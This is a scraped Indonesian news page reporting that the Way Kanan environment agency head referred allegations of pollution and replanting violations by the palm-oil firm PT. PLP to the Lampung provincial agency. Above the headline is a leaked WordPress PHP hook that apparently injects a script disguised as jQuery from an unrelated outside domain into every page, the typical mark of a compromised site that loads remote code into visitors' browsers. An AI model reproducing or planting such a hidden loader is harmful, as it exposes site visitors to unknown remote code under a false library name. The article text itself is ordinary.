add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Terkait Dugaan Pencemaran dan Pelanggaran Replanting PT. PLP, DLH Way Kanan Buang Badan - Atmosfirnews.id

Terkait Dugaan Pencemaran dan Pelanggaran Replanting PT. PLP, DLH Way Kanan Buang Badan

- Jurnalis

Rabu, 25 Desember 2024 - 14:41 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Way Kanan, Atmosfirnews

Terkait permasalahan limbah dan replanting PT. PLP Way Kanan Dwi Handoyo Kepala Dinas Lingkungan Hidup Way Kanan merespon cepat atas pemberitaan yang diterbitkan beberapa media pada hari kamis (18/12/2024) salah satunya adalah https://jurnalis-jc.com/replanting-pt-plp-way-kanan-diduga-tabrak-aturan-ispo-dan-pp-no-38-thn-2011/, dirinya mengatakan bahwa hal tersebut akan diteruskan ke Dinas lingkungan Hidup Provinsi, selasa (24/12/2024).

Dihubungi melalui media WhatsApp Dwi Handoyo Kepala Dinas Lingkungan Hidup Way Kanan mengambil sikap atas apa yang terjadi di PT. PLP yang terletak di Kecamatan Bumi Agung, Way Kanan.

“Kami teruskan ke DLH prov lampung. Kewenangan pabrik cpo ada di gubernur. Intinya kalau ada indikasi pencemaran baik air, udara maupun tanah harus diuji oleh lab lingkungan yg terakreditasi dan teregistrasi kan. Demikian pak.” ujar Kadis DLH Way Kanan.

Baca Juga :  Cari Aman, Sentra Penegakaan Hukum Terpadu (Gakkumdu) Way Kanan, 4 Kasus Dilaporkan Tidak Serius Diproses.

Dirinya pun mengatakan bahwa Permasalahan tersebut sudah diteruskan ke Dinas LH Prov. Lampung dan pihaknya menunggu respon dari pihak Dinas LH Prov. Lampung. 

Dwi pun menambahkan, mengenai replanting yang melanggar aturan dari kementerian LH tentang bufferzone sempadan sungai besar, kecil dan embung awak media disarankan untuk berkoordinasi dengan Dinas Perkebunan, hal tersebut sudah pasti akan menjadi pertanyaan masyarakat tentang tupoksi dari Dinas Lingkungan Hidup kabupaten Way Kanan.

Patut diketahui Tugas pokok Dinas Lingkungan Hidup (DLH) adalah: 
– Merumuskan kebijakan, rencana, dan program di bidang lingkungan hidup dan kehutanan
– Melaksanakan kebijakan, rencana, dan program di bidang lingkungan hidup dan kehutanan
– Melakukan evaluasi dan pelaporan di bidang lingkungan hidup dan kehutanan
– Melaksanakan administrasi dinas
– Membina dan melaksanakan kegiatan UPTD
– Melaksanakan fungsi lain yang diberikan oleh atasan

Baca Juga :  Gawat, Jalan Lintas Sumatera Dikhawatirkan Terancam Putus, Diduga Karena Tambang ilegal Yang Beroperasi Tidak Jauh Dari Kantor Polsek Blambangan Umpu Way Kanan.

Selain itu, DLH juga memiliki tugas-tugas lain, seperti:
– Mengembangkan sistem informasi kondisi, potensi dampak, dan peringatan pencemaran kepada masyarakat 
– Melakukan monitoring dan evaluasi pelaksanaan pengendalian lingkungan hidup 
– Menyusun program kerja, melaksanakan, mengatur, dan mengevaluasi pelaksanaan pemantauan lingkungan hidup, pencemaran lingkungan, dan kerusakan lingkungan 

Penulis : Redaksi

Berita Terkait

Di Hadapan DPR, BPBR Desak Pengembalian Tanah Adat dan Pengakuan Wilayah Adat dalam RUU Masyarakat Adat
Kapolres Tegaskan Hiburan Malam Lewati Pukul 21.00 WIB Akan Ditindak
Ardho: Ratusan Tahun Masyarakat Adat Hanya Jadi Penonton di Tanah Sendiri
Ketua SMSI Ungkap Dugaan Modus ASN Akali Sistem, Bupati Diminta Bersikap Tegas
SISTEM ABSENSI PEMKAB WAY KANAN DIDUGA BERMASALAH, ASN HADIR DI ABSENSI TAPI TAK ADA DI RUANGAN
Ketua SMSI Minta Kaban dan Sekretaris Kesbangpol Way Kanan Diberi Sanksi Tegas, Diduga Tutupi ASN Tak Masuk Kerja Berbulan-bulan
Machiavelli HT. S. STP, M. SI , Ditunjuk sebagai Pelaksa Tugas Ketua Palang Merah Indonesia Kabupaten Way Kanan.
Diamankan 5 Excavator dan 7 Mesin TI di Lokasi PTPN 1 Regional 7 Oleh Masyarakat Adat Buay Pemuka Pangeran Udik Blambangan Umpu
Berita ini 58 kali dibaca

Berita Terkait

Jumat, 19 Juni 2026 - 13:23 WIB

Di Hadapan DPR, BPBR Desak Pengembalian Tanah Adat dan Pengakuan Wilayah Adat dalam RUU Masyarakat Adat

Selasa, 2 Juni 2026 - 20:05 WIB

Kapolres Tegaskan Hiburan Malam Lewati Pukul 21.00 WIB Akan Ditindak

Minggu, 31 Mei 2026 - 18:37 WIB

Ardho: Ratusan Tahun Masyarakat Adat Hanya Jadi Penonton di Tanah Sendiri

Senin, 25 Mei 2026 - 13:51 WIB

Ketua SMSI Ungkap Dugaan Modus ASN Akali Sistem, Bupati Diminta Bersikap Tegas

Kamis, 21 Mei 2026 - 20:33 WIB

SISTEM ABSENSI PEMKAB WAY KANAN DIDUGA BERMASALAH, ASN HADIR DI ABSENSI TAPI TAK ADA DI RUANGAN

Berita Terbaru